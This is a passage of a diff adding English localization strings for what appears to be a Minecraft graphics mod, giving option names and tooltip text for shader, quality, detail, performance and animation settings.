+of.options.shaders.ANTIALIASING.tooltip.2= OFF - (default) no antialiasing (faster) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - antialiased lines and edges (slower) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA is a post-processing effect which smooths +of.options.shaders.ANTIALIASING.tooltip.5=jagged lines and sharp color transitions. +of.options.shaders.ANTIALIASING.tooltip.6=It is faster than traditional antialiasing +of.options.shaders.ANTIALIASING.tooltip.7=and is compatible with shaders. + +of.options.shaders.NORMAL_MAP=Normal Map +of.options.shaders.NORMAL_MAP.tooltip.1=Normal Map +of.options.shaders.NORMAL_MAP.tooltip.2= ON - (default) enable normal maps +of.options.shaders.NORMAL_MAP.tooltip.3= OFF - disable normal maps +of.options.shaders.NORMAL_MAP.tooltip.4=Normal maps can be used by the shader pack +of.options.shaders.NORMAL_MAP.tooltip.5=to simulate 3D geometry on flat model surfaces. +of.options.shaders.NORMAL_MAP.tooltip.6=The normal map textures are supplied by the +of.options.shaders.NORMAL_MAP.tooltip.7=current resource pack. + +of.options.shaders.SPECULAR_MAP=Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.1=Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.2= ON - (default) enable specular maps +of.options.shaders.SPECULAR_MAP.tooltip.3= OFF - disable specular maps +of.options.shaders.SPECULAR_MAP.tooltip.4=Specular maps can be used by the shader pack +of.options.shaders.SPECULAR_MAP.tooltip.5=to simulate special reflection effects. +of.options.shaders.SPECULAR_MAP.tooltip.6=The specular map textures are supplied by the +of.options.shaders.SPECULAR_MAP.tooltip.7=current resource pack. + +of.options.shaders.RENDER_RES_MUL=Render Quality +of.options.shaders.RENDER_RES_MUL.tooltip.1=Render Quality +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - low (fastest) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - standard (default) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - high (slowest) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Render quality controls the size of the texture +of.options.shaders.RENDER_RES_MUL.tooltip.6=that the shader pack is rendering to. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Lower values can be useful with 4K displays. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Higher values work as an antialiasing filter. + +of.options.shaders.SHADOW_RES_MUL=Shadow Quality +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Shadow Quality +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - low (fastest) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - standard (default) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - high (slowest) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Shadow quality controls the size of the shadow map +of.options.shaders.SHADOW_RES_MUL.tooltip.6=texture used by the shader pack. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Lower values = unexact, coarser shadows. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Higher values = detailed, finer shadows. + +of.options.shaders.HAND_DEPTH_MUL=Hand Depth +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Hand Depth +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - hand near to the camera +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (default) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - hand far from the camera +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Hand depth controls how far the handheld objects are +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=from the camera. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=For shader packs using depth blur this should change +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=the blurring of handheld objects. + +of.options.shaders.CLOUD_SHADOW=Cloud Shadow + +of.options.shaders.OLD_HAND_LIGHT=Old Hand Light +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Old Hand Light +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Default - controlled by the shader pack +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= ON - use old handlight +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= OFF - use new handlight +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Old hand light allows shader packs which only +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=recognize light emitting items in the main hand +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=to also work with items in the off-hand. + +of.options.shaders.OLD_LIGHTING=Old Lighting +of.options.shaders.OLD_LIGHTING.tooltip.1=Old Lighting +of.options.shaders.OLD_LIGHTING.tooltip.2= Default - controlled by the shader pack +of.options.shaders.OLD_LIGHTING.tooltip.3= ON - use old lighting +of.options.shaders.OLD_LIGHTING.tooltip.4= OFF - do not use old lighting +of.options.shaders.OLD_LIGHTING.tooltip.5=Old lighting controls the fixed lighting applied +of.options.shaders.OLD_LIGHTING.tooltip.6=by vanilla to the block sides. +of.options.shaders.OLD_LIGHTING.tooltip.7=Shader packs which use shadows usually provide +of.options.shaders.OLD_LIGHTING.tooltip.8=much better lighting depending on the sun position. + +of.options.shaders.DOWNLOAD=Download Shaders +of.options.shaders.DOWNLOAD.tooltip.1=Download Shaders +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Opens the shader packs page in a browser. +of.options.shaders.DOWNLOAD.tooltip.4=Put the downloaded shader packs in the "Shaders Folder" +of.options.shaders.DOWNLOAD.tooltip.5=and they will appear in the list of installed shaders. + +of.options.shaders.SHADER_PACK=Shader Pack + +of.options.shaders.shadersFolder=Shaders Folder +of.options.shaders.shaderOptions=Shader Options... + +of.options.shaderOptionsTitle=Shader Options + +of.options.quality=Quality... +of.options.qualityTitle=Quality Settings + +of.options.details=Details... +of.options.detailsTitle=Detail Settings + +of.options.performance=Performance... +of.options.performanceTitle=Performance Settings + +of.options.animations=Animations... +of.options.animationsTitle=Animation Settings + +of.options.other=Other... +of.options.otherTitle=Other Settings + +of.options.other.reset=Reset Video Settings... + +of.shaders.profile=Profile + +# Quality + +of.options.mipmap.bilinear=Bilinear +of.options.mipmap.linear=Linear +of.options.mipmap.nearest=Nearest +of.options.mipmap.trilinear=Trilinear + +options.mipmapLevels.tooltip.1=Visual effect which makes distant objects look better +options.mipmapLevels.tooltip.2=by smoothing the texture details +options.mipmapLevels.tooltip.3= OFF - no smoothing +options.mipmapLevels.tooltip.4= 1 - minimum smoothing +options.mipmapLevels.tooltip.5= Maximum - maximum smoothing +options.mipmapLevels.tooltip.6=This option usually does not affect the performance. + +of.options.MIPMAP_TYPE=Mipmap Type +of.options.MIPMAP_TYPE.tooltip.1=Visual effect which makes distant objects look better +of.options.MIPMAP_TYPE.tooltip.2=by smoothing the texture details +of.options.MIPMAP_TYPE.tooltip.3= Nearest - rough smoothing (fastest) +of.options.MIPMAP_TYPE.tooltip.4= Linear - normal smoothing +of.options.MIPMAP_TYPE.tooltip.5= Bilinear - fine smoothing +of.options.MIPMAP_TYPE.tooltip.6= Trilinear - finest smoothing (slowest) + + +of.options.AA_LEVEL=Antialiasing +of.options.AA_LEVEL.tooltip.1=Antialiasing +of.options.AA_LEVEL.tooltip.2= OFF - (default) no antialiasing (faster) +of.options.AA_LEVEL.tooltip.3= 2-16 - antialiased lines and edges (slower) +of.options.AA_LEVEL.tooltip.4=The Antialiasing smooths jagged lines and +of.options.AA_LEVEL.tooltip.5=sharp color transitions. +of.options.AA_LEVEL.tooltip.6=When enabled it may substantially decrease the FPS. +of.options.AA_LEVEL.tooltip.7=Not all levels are supported by all graphics cards. +of.options.AA_LEVEL.tooltip.8=Effective after a RESTART! + +of.options.AF_LEVEL=Anisotropic Filtering +of.options.AF_LEVEL.tooltip.1=Anisotropic Filtering +of.options.AF_LEVEL.tooltip.2= OFF - (default) standard texture detail (faster) +of.options.AF_LEVEL.tooltip.3= 2-16 - finer details in mipmapped textures (slower) +of.options.AF_LEVEL.tooltip.4=The Anisotropic Filtering restores details in +of.options.AF_LEVEL.tooltip.5=mipmapped textures. +of.options.AF_LEVEL.tooltip.6=When enabled it may substantially decrease the FPS. + +of.options.CLEAR_WATER=Clear Water +of.options.CLEAR_WATER.tooltip.1=Clear Water +of.options.CLEAR_WATER.tooltip.2= ON - clear, transparent water +of.options.CLEAR_WATER.tooltip.3= OFF - default water + +of.options.RANDOM_ENTITIES=Random Entities +of.options.RANDOM_ENTITIES.tooltip.1=Random Entities +of.options.RANDOM_ENTITIES.tooltip.2= OFF - no random entities, faster +of.options.RANDOM_ENTITIES.tooltip.3= ON - random entities, slower +of.options.RANDOM_ENTITIES.tooltip.4=Random entities uses random textures for the game entities. +of.options.RANDOM_ENTITIES.tooltip.5=It needs a resource pack which has multiple entity textures. + +of.options.BETTER_GRASS=Better Grass +of.options.BETTER_GRASS.tooltip.1=Better Grass +of.options.BETTER_GRASS.tooltip.2= OFF - default side grass texture, fastest +of.options.BETTER_GRASS.tooltip.3= Fast - full side grass texture, slower +of.options.BETTER_GRASS.tooltip.4= Fancy - dynamic side grass texture, slowest + +of.options.BETTER_SNOW=Better Snow +of.options.BETTER_SNOW.tooltip.1=Better Snow +of.options.BETTER_SNOW.tooltip.2= OFF - default snow, faster +of.options.BETTER_SNOW.tooltip.3= ON - better snow, slower +of.options.BETTER_SNOW.tooltip.4=Shows snow under transparent blocks (fence, tall grass) +of.options.BETTER_SNOW.tooltip.5=when bordering with snow blocks. + +of.options.CUSTOM_FONTS=Custom Fonts +of.options.CUSTOM_FONTS.tooltip.1=Custom Fonts +of.options.CUSTOM_FONTS.tooltip.2= ON - uses custom fonts (default), slower +of.options.CUSTOM_FONTS.tooltip.3= OFF - uses default font, faster +of.options.CUSTOM_FONTS.tooltip.4=The custom fonts are supplied by the current +of.options.CUSTOM_FONTS.tooltip.5=resource pack. + +of.options.CUSTOM_COLORS=Custom Colors +of.options.CUSTOM_COLORS.tooltip.1=Custom Colors +of.options.CUSTOM_COLORS.tooltip.2= ON - uses custom colors (default), slower +of.options.CUSTOM_COLORS.tooltip.3= OFF - uses default colors, faster +of.options.CUSTOM_COLORS.tooltip.4=The custom colors are supplied by the current +of.options.CUSTOM_COLORS.tooltip.5=resource pack. + +of.options.SWAMP_COLORS=Swamp Colors +of.options.SWAMP_COLORS.tooltip.1=Swamp Colors +of.options.SWAMP_COLORS.tooltip.2= ON - use swamp colors (default), slower +of.options.SWAMP_COLORS.tooltip.3= OFF - do not use swamp colors, faster +of.options.SWAMP_COLORS.tooltip.4=The swamp colors affect grass, leaves, vines and water. + +of.options.SMOOTH_BIOMES=Smooth Biomes +of.options.SMOOTH_BIOMES.tooltip.1=Smooth Biomes +of.options.SMOOTH_BIOMES.tooltip.2= ON - smoothing of biome borders (default), slower +of.options.SMOOTH_BIOMES.tooltip.3= OFF - no smoothing of biome borders, faster +of.options.SMOOTH_BIOMES.tooltip.4=The smoothing of biome borders is done by sampling and +of.options.SMOOTH_BIOMES.tooltip.5=averaging the color of all surrounding blocks. +of.options.SMOOTH_BIOMES.tooltip.6=Affected are grass, leaves, vines and water. + +of.options.CONNECTED_TEXTURES=Connected Textures +of.options.CONNECTED_TEXTURES.tooltip.1=Connected Textures +of.options.CONNECTED_TEXTURES.tooltip.2= OFF - no connected textures (default) +of.options.CONNECTED_TEXTURES.tooltip.3= Fast - fast connected textures +of.options.CONNECTED_TEXTURES.tooltip.4= Fancy - fancy connected textures +of.options.CONNECTED_TEXTURES.tooltip.5=Connected textures joins the textures of glass, +of.options.CONNECTED_TEXTURES.tooltip.6=sandstone and bookshelves when placed next to +of.options.CONNECTED_TEXTURES.tooltip.7=each other. The connected textures are supplied +of.options.CONNECTED_TEXTURES.tooltip.8=by the current resource pack. + +of.options.NATURAL_TEXTURES=Natural Textures +of.options.NATURAL_TEXTURES.tooltip.1=Natural Textures +of.options.NATURAL_TEXTURES.tooltip.2= OFF - no natural textures (default) +of.options.NATURAL_TEXTURES.tooltip.3= ON - use natural textures +of.options.NATURAL_TEXTURES.tooltip.4=Natural textures remove the gridlike pattern +of.options.NATURAL_TEXTURES.tooltip.5=created by repeating blocks of the same type. +of.options.NATURAL_TEXTURES.tooltip.6=It uses rotated and flipped variants of the base +of.options.NATURAL_TEXTURES.tooltip.7=block texture. The configuration for the natural +of.options.NATURAL_TEXTURES.tooltip.8=textures is supplied by the current resource pack. + +of.options.EMISSIVE_TEXTURES=Emissive Textures +of.options.EMISSIVE_TEXTURES.tooltip.1=Emissive Textures +of.options.EMISSIVE_TEXTURES.tooltip.2= OFF - no emissive textures (default) +of.options.EMISSIVE_TEXTURES.tooltip.3= ON - use emissive textures +of.options.EMISSIVE_TEXTURES.tooltip.4=The emissive textures are rendered as overlays +of.options.EMISSIVE_TEXTURES.tooltip.5=with full brightness. They can be used to simulate +of.options.EMISSIVE_TEXTURES.tooltip.6=light emitting parts of the base texture. +of.options.EMISSIVE_TEXTURES.tooltip.7=The emissive textures are supplied by the current +of.options.EMISSIVE_TEXTURES.tooltip.8=resource pack. + +of.options.CUSTOM_SKY=Custom Sky +of.options.CUSTOM_SKY.tooltip.1=Custom Sky +of.options.CUSTOM_SKY.tooltip.2= ON - custom sky textures (default), slow +of.options.CUSTOM_SKY.tooltip.3= OFF - default sky, faster +of.options.CUSTOM_SKY.tooltip.4=The custom sky textures are supplied by the current +of.options.CUSTOM_SKY.tooltip.5=resource pack. + +of.options.CUSTOM_ITEMS=Custom Items +of.options.CUSTOM_ITEMS.tooltip.1=Custom Items +of.options.CUSTOM_ITEMS.tooltip.2= ON - custom item textures (default), slow +of.options.CUSTOM_ITEMS.tooltip.3= OFF - default item textures, faster +of.options.CUSTOM_ITEMS.tooltip.4=The custom item textures are supplied by the current +of.options.CUSTOM_ITEMS.tooltip.5=resource pack. + +of.options.CUSTOM_ENTITY_MODELS=Custom Entity Models +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Custom Entity Models +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= ON - custom entity models (default), slow +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= OFF - default entity models, faster +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=The custom entity models are supplied by the current +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=resource pack. + +of.options.CUSTOM_GUIS=Custom GUIs +of.options.CUSTOM_GUIS.tooltip.1=Custom GUIs +of.options.CUSTOM_GUIS.tooltip.2= ON - custom GUIs (default), slower +of.options.CUSTOM_GUIS.tooltip.3= OFF - default GUIs, faster +of.options.CUSTOM_GUIS.tooltip.4=The custom GUIs are supplied by the current resource pack. + +# Details + +of.options.CLOUDS=Clouds +of.options.CLOUDS.tooltip.1=Clouds +of.options.CLOUDS.tooltip.2= Default - as set by setting Graphics +of.options.CLOUDS.tooltip.3= Fast - lower quality, faster +of.options.CLOUDS.tooltip.4= Fancy - higher quality, slower +of.options.CLOUDS.tooltip.5= OFF - no clouds, fastest +of.options.CLOUDS.tooltip.6=Fast clouds are rendered 2D. +of.options.CLOUDS.tooltip.7=Fancy clouds are rendered 3D. + +of.options.CLOUD_HEIGHT=Cloud Height +of.options.CLOUD_HEIGHT.tooltip.1=Cloud Height +of.options.CLOUD_HEIGHT.tooltip.2= OFF - default height +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - above world height limit + +of.options.TREES=Trees +of.options.TREES.tooltip.1=Trees +of.options.TREES.tooltip.2= Default - as set by setting Graphics +of.options.TREES.tooltip.3= Fast - lower quality, faster +of.options.TREES.tooltip.4= Smart - higher quality, fast +of.options.TREES.tooltip.5= Fancy - highest quality, slower +of.options.TREES.tooltip.6=Fast trees have opaque leaves. +of.options.TREES.tooltip.7=Fancy and smart trees have transparent leaves. + +of.options.RAIN=Rain & Snow +of.options.RAIN.tooltip.1=Rain & Snow +of.options.RAIN.tooltip.2= Default - as set by setting Graphics +of.options.RAIN.tooltip.3= Fast - light rain/snow, faster +of.options.RAIN.tooltip.4= Fancy - heavy rain/snow, slower +of.options.RAIN.tooltip.5= OFF - no rain/snow, fastest +of.options.RAIN.tooltip.6=When rain is OFF the splashes and rain sounds +of.options.RAIN.tooltip.7=are still active. + +of.options.SKY=Sky +of.options.SKY.tooltip.1=Sky +of.options.SKY.tooltip.2= ON - sky is visible, slower +of.options.SKY.tooltip.3= OFF - sky is not visible, faster +of.options.SKY.tooltip.4=When sky is OFF the moon and sun are still visible. + +of.options.STARS=Stars +of.options.STARS.tooltip.1=Stars +of.options.STARS.tooltip.2= ON - stars are visible, slower +of.options.STARS.tooltip.3= OFF - stars are not visible, faster + +of.options.SUN_MOON=Sun & Moon +of.options.SUN_MOON.tooltip.1=Sun & Moon +of.options.SUN_MOON.tooltip.2= ON - sun and moon are visible (default) +of.options.SUN_MOON.tooltip.3= OFF - sun and moon are not visible (faster) + +of.options.SHOW_CAPES=Show Capes +of.options.SHOW_CAPES.tooltip.1=Show Capes +of.options.SHOW_CAPES.tooltip.2= ON - show player capes (default) +of.options.SHOW_CAPES.tooltip.3= OFF - do not show player capes + +of.options.TRANSLUCENT_BLOCKS=Translucent Blocks +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Translucent Blocks +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Default - as set by setting Graphics +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Fancy - correct color blending (slower) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Fast - fast color blending (faster) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Controls the color blending of translucent blocks +of.options.TRANSLUCENT_BLOCKS.tooltip.6=with different colors (stained glass, water, ice) +of.options.TRANSLUCENT_BLOCKS.tooltip.7=when placed behind each other with air between them. + +of.options.HELD_ITEM_TOOLTIPS=Held Item Tooltips +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Held item tooltips +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= ON - show tooltips for held items (default) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= OFF - do not show tooltips for held items + +of.options.ADVANCED_TOOLTIPS=Advanced Tooltips +of.options.ADVANCED_TOOLTIPS.tooltip.1=Advanced tooltips +of.options.ADVANCED_TOOLTIPS.tooltip.2= ON - show advanced tooltips +of.options.ADVANCED_TOOLTIPS.tooltip.3= OFF - do not show advanced tooltips (default) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Advanced tooltips show extended information for +of.options.ADVANCED_TOOLTIPS.tooltip.5=items (id, durability) and for shader options +of.options.ADVANCED_TOOLTIPS.tooltip.6=(id, source, default value). + +of.options.DROPPED_ITEMS=Dropped Items +of.options.DROPPED_ITEMS.tooltip.1=Dropped Items +of.options.DROPPED_ITEMS.tooltip.2= Default - as set by setting Graphics +of.options.DROPPED_ITEMS.tooltip.3= Fast - 2D dropped items (faster) +of.options.DROPPED_ITEMS.tooltip.4= Fancy - 3D dropped items (slower) + +options.entityShadows.tooltip.1=Entity Shadows +options.entityShadows.tooltip.2= ON - show entity shadows +options.entityShadows.tooltip.3= OFF - do not show entity shadows + +of.options.VIGNETTE=Vignette +of.options.VIGNETTE.tooltip.1=Visual effect which slightly darkens the screen corners +of.options.VIGNETTE.tooltip.2= Default - as set by the setting Graphics (default) +of.options.VIGNETTE.tooltip.3= Fast - vignette disabled (faster) +of.options.VIGNETTE.tooltip.4= Fancy - vignette enabled (slower) +of.options.VIGNETTE.tooltip.5=The vignette may have a significant effect on the FPS, +of.options.VIGNETTE.tooltip.6=especially when playing fullscreen. +of.options.VIGNETTE.tooltip.7=The vignette effect is very subtle and can safely +of.options.VIGNETTE.tooltip.8=be disabled. + +of.options.DYNAMIC_FOV=Dynamic FOV +of.options.DYNAMIC_FOV.tooltip.1=Dynamic FOV +of.options.DYNAMIC_FOV.tooltip.2= ON - enable dynamic FOV (default) +of.options.DYNAMIC_FOV.tooltip.3= OFF - disable dynamic FOV +of.options.DYNAMIC_FOV.tooltip.4=Changes the field of view (FOV) when flying, sprinting +of.options.DYNAMIC_FOV.tooltip.5=or pulling a bow. + +of.options.DYNAMIC_LIGHTS=Dynamic Lights +of.options.DYNAMIC_LIGHTS.tooltip.1=Dynamic Lights +of.options.DYNAMIC_LIGHTS.tooltip.2= OFF - no dynamic lights (default) +of.options.DYNAMIC_LIGHTS.tooltip.3= Fast - fast dynamic lights (updated every 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Fancy - fancy dynamic lights (updated in real-time) +of.options.DYNAMIC_LIGHTS.tooltip.5=Enables light emitting items (torch, glowstone, etc.) +of.options.DYNAMIC_LIGHTS.tooltip.6=to illuminate everything around them when held in hand, +of.options.DYNAMIC_LIGHTS.tooltip.7=equipped by other player or dropped on the ground. + +options.biomeBlendRadius.tooltip.1=Smooths the color transition between biomes +options.biomeBlendRadius.tooltip.2= OFF - no blending (fastest) +options.biomeBlendRadius.tooltip.3= 5x5 - normal blending (default) +options.biomeBlendRadius.tooltip.4= 15x15 - maximal blending (slowest) +options.biomeBlendRadius.tooltip.5=Higher values may generate significant lag spikes +options.biomeBlendRadius.tooltip.6=and slow down the chunk loading speed. + +# Performance + +of.options.SMOOTH_FPS=Smooth FPS +of.options.SMOOTH_FPS.tooltip.1=Stabilizes FPS by flushing the graphic driver buffers. +of.options.SMOOTH_FPS.tooltip.2= OFF - no stabilization, FPS may fluctuate +of.options.SMOOTH_FPS.tooltip.3= ON - FPS stabilization +of.options.SMOOTH_FPS.tooltip.4=This option is graphics driver dependant and its effect +of.options.SMOOTH_FPS.tooltip.5=is not always visible. + +of.options.SMOOTH_WORLD=Smooth World +of.options.SMOOTH_WORLD.tooltip.1=Removes lag spikes caused by the internal server. +of.options.SMOOTH_WORLD.tooltip.2= OFF - no stabilization, FPS may fluctuate +of.options.SMOOTH_WORLD.tooltip.3= ON - FPS stabilization +of.options.SMOOTH_WORLD.tooltip.4=Stabilizes FPS by distributing the internal server load. +of.options.SMOOTH_WORLD.tooltip.5=Effective only for local worlds (single player). + +of.options.FAST_RENDER=Fast Render +of.options.FAST_RENDER.tooltip.1=Fast Render +of.options.FAST_RENDER.tooltip.2= OFF - standard rendering (default) +of.options.FAST_RENDER.tooltip.3= ON - optimized rendering (faster) +of.options.FAST_RENDER.tooltip.4=Uses optimized rendering algorithm which decreases +of.options.FAST_RENDER.tooltip.5=the CPU load and may substantially increase the FPS. +of.options.FAST_RENDER.tooltip.6=This option can conflict with some mods. + +of.options.FAST_MATH=Fast Math +of.options.FAST_MATH.tooltip.1=Fast Math +of.options.FAST_MATH.tooltip.2= OFF - standard math (default) +of.options.FAST_MATH.tooltip.3= ON - faster math +of.options.FAST_MATH.tooltip.4=Uses optimized sin() and cos() functions which can +of.options.FAST_MATH.tooltip.5=better utilize the CPU cache and increase the FPS. +of.options.FAST_MATH.tooltip.6=This option can minimally affect the world generation. + +of.options.CHUNK_UPDATES=Chunk Updates +of.options.CHUNK_UPDATES.tooltip.1=Chunk updates +of.options.CHUNK_UPDATES.tooltip.2= 1 - slower world loading, higher FPS (default) +of.options.CHUNK_UPDATES.tooltip.3= 3 - faster world loading, lower FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - fastest world loading, lowest FPS +of.options.CHUNK_UPDATES.tooltip.5=Number of chunk updates per rendered frame, +of.options.CHUNK_UPDATES.tooltip.6=higher values may destabilize the framerate. + +of.options.CHUNK_UPDATES_DYNAMIC=Dynamic Updates +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dynamic chunk updates +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= OFF - standard chunk updates per frame (default) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= ON - more updates while the player is standing still +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Dynamic updates force more chunk updates while +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=the player is standing still to load the world faster. + +of.options.LAZY_CHUNK_LOADING=Lazy Chunk Loading +of.options.LAZY_CHUNK_LOADING.tooltip.1=Lazy Chunk Loading +of.options.LAZY_CHUNK_LOADING.tooltip.2= OFF - default server chunk loading +of.options.LAZY_CHUNK_LOADING.tooltip.3= ON - lazy server chunk loading (smoother) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Smooths the integrated server chunk loading by +of.options.LAZY_CHUNK_LOADING.tooltip.5=distributing the chunks over several ticks. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Turn it OFF if parts of the world do not load correctly. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Effective only for local worlds (single-player). + +of.options.RENDER_REGIONS=Render Regions +of.options.RENDER_REGIONS.tooltip.1=Render Regions +of.options.RENDER_REGIONS.tooltip.2= OFF - do not use render regions (default) +of.options.RENDER_REGIONS.tooltip.3= ON - use render regions +of.options.RENDER_REGIONS.tooltip.4=Render regions allow faster terrain rendering at higher +of.options.RENDER_REGIONS.tooltip.5=render distances. More effective when VBOs are enabled. +of.options.RENDER_REGIONS.tooltip.6=Not recommended for integrated graphics cards. + +of.options.SMART_ANIMATIONS=Smart Animations +of.options.SMART_ANIMATIONS.tooltip.1=Smart Animations +of.options.SMART_ANIMATIONS.tooltip.2= OFF - do not use smart animations (default) +of.options.SMART_ANIMATIONS.tooltip.3= ON - use smart animations +of.options.SMART_ANIMATIONS.tooltip.4=With smart animations the game will only animate the +of.options.SMART_ANIMATIONS.tooltip.5=textures which are currently visible on the screen. +of.options.SMART_ANIMATIONS.tooltip.6=This reduces the tick lag spikes and increases the FPS. +of.options.SMART_ANIMATIONS.tooltip.7=Especially useful for big mod packs and HD resource packs. + +# Animations + +of.options.animation.allOn=All ON +of.options.animation.allOff=All OFF +of.options.animation.dynamic=Dynamic + +of.options.ANIMATED_WATER=Water Animated +of.options.ANIMATED_LAVA=Lava Animated +of.options.ANIMATED_FIRE=Fire Animated +of.options.ANIMATED_PORTAL=Portal Animated +of.options.ANIMATED_REDSTONE=Redstone Animated +of.options.ANIMATED_EXPLOSION=Explosion Animated +of.options.ANIMATED_FLAME=Flame Animated +of.options.ANIMATED_SMOKE=Smoke Animated +of.options.VOID_PARTICLES=Void Particles +of.options.WATER_PARTICLES=Water Particles +of.options.RAIN_SPLASH=Rain Splash +of.options.PORTAL_PARTICLES=Portal Particles +of.options.POTION_PARTICLES=Potion Particles +of.options.DRIPPING_WATER_LAVA=Dripping Water/Lava +of.options.ANIMATED_TERRAIN=Terrain Animated +of.options.ANIMATED_TEXTURES=Textures Animated +of.options.FIREWORK_PARTICLES=Firework Particles + +# Other + +of.options.LAGOMETER=Lagometer +of.options.LAGOMETER.tooltip.1=Shows the lagometer on the debug screen (F3). +of.options.LAGOMETER.tooltip.2=* Orange - Memory garbage collection +of.options.LAGOMETER.tooltip.3=* Cyan - Tick +of.options.LAGOMETER.tooltip.4=* Blue - Scheduled executables +of.options.LAGOMETER.tooltip.5=* Purple - Chunk upload +of.options.LAGOMETER.tooltip.6=* Red - Chunk updates +of.options.LAGOMETER.tooltip.7=* Yellow - Visibility check +of.options.LAGOMETER.tooltip.8=* Green - Render terrain + +of.options.PROFILER=Debug Profiler +of.options.PROFILER.tooltip.1=Debug Profiler +of.options.PROFILER.tooltip.2= ON - debug profiler is active, slower +of.options.PROFILER.tooltip.3= OFF - debug profiler is not active, faster +of.options.PROFILER.tooltip.4=The debug profiler collects and shows debug information +of.options.PROFILER.tooltip.5=when the debug screen is open (F3). + +of.options.WEATHER=Weather +of.options.WEATHER.tooltip.1=Weather +of.options.WEATHER.tooltip.2= ON - weather is active, slower +of.options.WEATHER.tooltip.3= OFF - weather is not active, faster +of.options.WEATHER.tooltip.4=The weather controls rain, snow and thunderstorms. +of.options.WEATHER.tooltip.5=Weather control is only possible for local worlds. + +of.options.time.dayOnly=Day Only +of.options.time.nightOnly=Night Only + +of.options.TIME=Time +of.options.TIME.tooltip.1=Time +of.options.TIME.tooltip.2= Default - normal day/night cycles +of.options.TIME.tooltip.3= Day Only - day only +of.options.TIME.tooltip.4= Night Only - night only +of.options.TIME.tooltip.5=The time setting is only effective in CREATIVE mode +of.options.TIME.tooltip.6=and for local worlds. + +options.fullscreen.tooltip.1=Fullscreen +options.fullscreen.tooltip.2= ON - use fullscreen mode +options.fullscreen.tooltip.3= OFF - use window mode +options.fullscreen.tooltip.4=Fullscreen mode may be faster or slower than +options.fullscreen.tooltip.5=window mode, depending on the graphics card. + +options.fullscreen.resolution=Fullscreen Mode +options.fullscreen.resolution.tooltip.1=Fullscreen mode +options.fullscreen.resolution.tooltip.2= Default - use desktop screen resolution, slower +options.fullscreen.resolution.tooltip.3= WxH - use custom screen resolution, may be faster +options.fullscreen.resolution.tooltip.4=The selected resolution is used in fullscreen mode (F11). +options.fullscreen.resolution.tooltip.5=Lower resolutions should generally be faster. + +of.options.SHOW_FPS=Show FPS +of.options.SHOW_FPS.tooltip.1=Shows compact FPS and render information. +of.options.SHOW_FPS.tooltip.2= Fps - average/minimum +of.options.SHOW_FPS.tooltip.3= C: - chunk renderers +of.options.SHOW_FPS.tooltip.4= E: - rendered entities + block entities +of.options.SHOW_FPS.tooltip.5= U: - chunk updates +of.options.SHOW_FPS.tooltip.6=The compact FPS information is only shown when the +of.options.SHOW_FPS.tooltip.7=debug screen is not visible. + +of.options.save.45s=45s +of.options.save.90s=90s +of.options.save.3min=3min +of.options.save.6min=6min +of.options.save.12min=12min +of.options.save.24min=24min + +of.options.AUTOSAVE_TICKS=Autosave +of.options.AUTOSAVE_TICKS.tooltip.1=Autosave Interval +of.options.AUTOSAVE_TICKS.tooltip.2= 45s - default +of.options.AUTOSAVE_TICKS.tooltip.3=Autosave may generate lag spikes depending on the render distance. +of.options.AUTOSAVE_TICKS.tooltip.4=The world is also saved when the game menu is opened. + +of.options.SCREENSHOT_SIZE=Screenshot Size +of.options.SCREENSHOT_SIZE.tooltip.1=Screenshot Size +of.options.SCREENSHOT_SIZE.tooltip.2= Default - default screenshot size 